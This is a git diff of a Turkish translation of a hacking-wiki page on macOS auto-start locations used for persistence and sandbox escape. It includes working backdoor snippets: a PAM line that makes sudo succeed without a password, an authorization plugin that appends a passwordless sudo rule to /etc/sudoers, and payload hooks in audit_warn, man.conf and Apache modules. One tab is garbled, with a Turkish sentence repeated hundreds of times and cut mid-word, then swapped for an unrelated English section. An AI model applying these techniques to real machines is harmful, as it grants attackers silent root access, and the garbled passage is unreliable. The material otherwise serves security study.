havuzunu atlamak için kullanışlı mı: **Hayır, çünkü kendi uygulamanızı yürütmeniz gerekir** +* Kum havuzunu atlamak için kullanışlı mı: **Hayır, çünkü kendi uygulamanızı çalıştırmanız gerekir** * TCC atlaması: ??? #### Konum * Belirli bir uygulama -#### Açıklama ve Sömürü +#### Açıklama ve Sızma -Bir Finder Senkronizasyon Uzantısı örneği olan bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync). +Bir Finder Senkronizasyon Uzantısı örneği içeren bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync). -Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, yürütülecek bir uygulamanın içine gidecektir. Dahası, uzantının kodunu yürütebilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şöyle bir şeyle kaydedilmiş olmalıdır: +Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync @@ -1026,7 +1027,7 @@ Timestamp (process)[PID] {% endcode %} {% hint style="danger" %} -Bu kodu yükleyen ikili dosyanın ayrıcalıkları içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**. +Bu kodu yükleyen ikili dosyanın ayrıcalıklarında (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**. {% endhint %} Saver kodu: @@ -1101,7 +1102,7 @@ açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Ancak uygulama kum havuzunda sona ereceksiniz -* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) +* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) * Kum havuzu çok sınırlı görünüyor #### Konum @@ -1110,10 +1111,10 @@ açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb * **Tetikleyici**: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda. * `/Kütüphane/Spotlight/` * **Tetikleyici**: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda. -* Kök izni gereklidir +* Root gerekli * `/Sistem/Kütüphane/Spotlight/` * **Tetikleyici**: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda. -* Kök izni gereklidir +* Root gerekli * `Some.app/İçerik/Kütüphane/Spotlight/` * **Tetikleyici**: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda. * Yeni uygulama gereklidir @@ -1123,11 +1124,11 @@ açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\ Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **ayıklamak suretiyle bir dizin oluşturur**, böylece dosya adları ve içerikleri arasında hızlı aramalar yapılabilir. -Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir, bu süreç **'meta veri sunucusu'** anlamına gelir. Bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinleri bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir, bu eklentiler Spotlight'ın çeşitli dosya biçimlerindeki içeriği anlamasına ve dizinlemesine olanak tanır. +Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinleyen çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinayet işçisi bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir, bu da Spotlight'ın çeşitli dosya biçimlerindeki içeriği anlamasına ve dizinlemesine olanak tanır. -Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantıları yönetebileceğini** belirtmeleri gerekir, bu sayede Spotlight belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda onları kullanacaktır. +Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantıları yönetebileceğini** belirtmeleri gerekir, bu sayede Spotlight, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda bunları kullanacaktır. -Yüklenen **tüm `mdimporters`**'ları bulmak mümkündür: +Yüklenen **tüm `mdimporters`** bulunabilir: ```bash mdimport -L Paths: id(501) ( @@ -1136,7 +1137,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (uzantılar `.iba` ve `.book` dahil diğerleri): +Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları ayrıştırmak için kullanılır (uzantılar `.iba` ve `.book` dahil diğerleri): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1175,13 +1176,13 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist {% hint style="danger" %} Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girişini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz. -Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir. +Ayrıca, Sistem varsayılan eklentiler her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir. {% endhint %} -Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve **`UTImportedTypeDeclarations`** ekleyin böylece desteklemek istediğiniz uzantıyı destekler ve bunları **`schema.xml`** içinde yansıtın.\ -Sonra **`GetMetadataForFile`** işlevinin kodunu değiştirin ve işlenen uzantıya sahip bir dosya oluşturulduğunda payload'ınızı yürütmesini sağlayın. +Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve desteklemek istediğiniz uzantıyı desteklemesi için **`UTImportedTypeDeclarations`** ekleyin ve bunları **`schema.xml`** içinde yansıtın.\ +Sonra **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'ınızı yürütün. -Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine derleyin ve kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek kontrol edebilirsiniz. +Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine derleyin ve kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek yüklendiğinde kontrol edebilirsiniz. ### ~~Tercih Paneli~~ @@ -1228,7 +1229,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilb #### Açıklama ve Sömürü -Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*` konfigürasyonuna sahip **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` içinde depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmaz. +Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` içinde depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmaz. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1261,7 +1262,7 @@ total 8 ``` {% endcode %} -**`/etc/defaults/periodic.conf`** dosyasında yürütülecek diğer periyodik betikler bulunmaktadır: +Başka periyodik betikler de **`/etc/defaults/periodic.conf`** dosyasında belirtilir: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts @@ -1280,7 +1281,7 @@ Açıklama: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pa Açıklama: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) -* Ancak kök olmanız gerekiyor +* Ancak root olmanız gerekiyor * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum @@ -1289,17 +1290,17 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilb #### Açıklama ve Sömürü -PAM, macOS içinde kolay yürütmeden ziyade **kalıcılık** ve kötü amaçlı yazılımlara odaklandığından, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için açıklamaları okuyun**. +PAM, macOS içinde kolay yürütmeden ziyade **kalıcılık** ve kötü amaçlı yazılımlara odaklandığı için, bu blog detaylı bir açıklama sunmayacak, **bu tekniği daha iyi anlamak için açıklamaları okuyun**. PAM modüllerini kontrol etmek için: ```bash ls -l /etc/pam.d ``` -Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek başlangıca şu satırı eklemek kadar kolaydır: +Bir kalıcılık/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek başlangıca şu satırı eklemek kadar kolaydır: ```bash auth sufficient pam_permit.so ``` -Yani bu şöyle **görünecek**: +Yani **şöyle görünecek**: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1313,7 +1314,7 @@ session required pam_permit.so Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**. {% hint style="danger" %} -Bu dizinin TCC tarafından korunduğunu unutmayın, bu yüzden kullanıcının erişim isteyen bir uyarı alması oldukça olasıdır. +Bu dizinin TCC tarafından korunduğunu unutmayın, bu nedenle kullanıcının erişim isteyen bir ileti alması oldukça olasıdır. {% endhint %} ### Yetkilendirme Eklentileri @@ -1333,7 +1334,7 @@ Açıklama: [https://posts.specterops.io/persistent-credential-theft-with-author #### Açıklama ve Sömürü -Kullanıcı oturum açtığında kalıcılığı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki açıklamalara bakın (ve dikkat edin, kötü yazılmış bir eklenti sizi dışarıda bırakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir). +Kullanıcı oturum açtığında devamlılığı sağlamak için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu tür eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki açıklamalara bakın (ve dikkatli olun, kötü yazılmış bir eklenti sizi dışarıda bırakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1348,7 +1349,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` -**Bündeyi** yüklenmesi gereken konuma **taşıyın**: +**Bündeyi** yüklenmesi gereken konuma taşıyın: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` @@ -1395,7 +1396,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilb #### Açıklama ve Sızma -Yapılandırma dosyası **`/private/etc/man.conf`**, man belge dosyalarını açarken kullanılacak ikili betikleri gösterir. Bu nedenle yürütülecek arka kapı her zaman kullanıcı belgeleri okurken man kullanıldığında değiştirilebilir. +Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelendirme dosyalarını açarken kullanılacak ikili betikleri gösterir. Bu nedenle yürütülecek arka kapı her zaman kullanıcı belgeleri okumak için man komutunu kullandığında değiştirilebilir. Örneğin **`/private/etc/man.conf`** içinde ayarlanmış: ``` @@ -1413,10 +1414,10 @@ touch /tmp/manconf **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -* Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle) +* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) -* Httpd'nin yetkileri yok +* Httpd'nin ayrıcalıkları yok #### Konum @@ -1426,7 +1427,7 @@ touch /tmp/manconf #### Açıklama ve Sızma -`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemek için şu şekilde bir satır ekleyebilirsiniz: +`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemek için aşağıdaki gibi bir satır ekleyebilirsiniz: {% code overflow="wrap" %} ```bash @@ -1434,7 +1435,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak**, ya da sisteme yeni bir güvenilir sertifika eklemek ve onunla **imzalamak**. +Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak**, ya da sisteme yeni güvenilir bir sertifika eklemek ve onunla **imzalamak**. Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz: ```bash @@ -1457,7 +1458,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); Açıklama: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) * Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle) -* Ancak kök olmanız, auditd'nin çalışıyor olması ve bir uyarıya neden olmanız gerekir +* Ancak kök kullanıcı olmanız, auditd'nin çalışıyor olması ve bir uyarıya neden olmanız gerekmektedir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum @@ -1468,7 +1469,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilb #### Açıklama ve Sızma -Herhangi bir uyarı algılandığında auditd, **`/etc/security/audit_warn`** betiğini **çalıştırır**. Bu nedenle kendi yükünüzü ekleyebilirsiniz. +Auditd bir uyarı algıladığında **`/etc/security/audit_warn`** betiği **çalıştırılır**. Bu nedenle kendi yükünüzü ekleyebilirsiniz. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` @@ -1483,10 +1484,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn 1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği. 2. Çeşitli yapılandırma ayarlarını içeren, özellikle `StartupParameters.plist` adında bir **plist dosyası**. -Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun. - -{% tabs %} -{% tab title="StartupParameters.plist" %} +Başlangıç işlemi bu betiği ve `StartupParameters.plist` dosyasını doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun. ```xml @@ -1507,9 +1505,23 @@ Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc {% tab title="superservicename" %} -### superservicename +**macOS Auto-Start Locations** -Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma konumlarından biridir. Bu, otomatik başlatma kon +### macOS Auto-Start Locations + +There are several locations on macOS where applications can be configured to automatically start when a user logs in. These locations include: + +1. **Login Items**: Found in System Preferences > Users & Groups > Login Items. Users can add or remove applications from this list. + +2. **Launch Agents**: Located in `~/Library/LaunchAgents` and `/Library/LaunchAgents`. These are used to run processes when a user logs in. + +3. **Launch Daemons**: Found in `/Library/LaunchDaemons`. These are system-wide processes that run at boot time. + +4. **Startup Items**: Located in `/Library/StartupItems`. Deprecated since macOS 10.7, but still supported for compatibility. + +By monitoring and managing these auto-start locations, users can control which applications launch automatically and potentially improve the security and performance of their macOS system. + +{% endtab %} ```bash #!/bin/sh . /etc/rc.common @@ -1541,7 +1553,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.gi Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir. -Varlığından haberdar olanlar için, **emond**'un herhangi bir kötüye kullanımını tespit etmek kolaydır. Bu hizmet için sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir: +Varlığından haberdar olanlar için, **emond**'un herhangi bir kötüye kullanımını tespit etmek kolaydır. Bu hizmet için sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunu incelemek için aşağıdaki komut kullanılabilir: ```bash ls -l /private/var/db/emondClients ``` @@ -1557,12 +1569,12 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.gi #### Açıklama ve Sızma -XQuartz artık macOS'ta **kurulu değil**, bu yüzden daha fazla bilgi için yazıya bakın. +XQuartz artık macOS'ta **kurulu değil**, daha fazla bilgi için yazıya bakın. ### ~~kext~~ {% hint style="danger" %} -Kext'i yüklemek bile kök olarak oldukça karmaşıktır, bu nedenle bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (elbette bir açıkınız varsa) +Kext'i yüklemek bile kök olarak oldukça karmaşıktır, bu nedenle bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (elbette bir açık bulunmadıkça) {% endhint %} #### Konum @@ 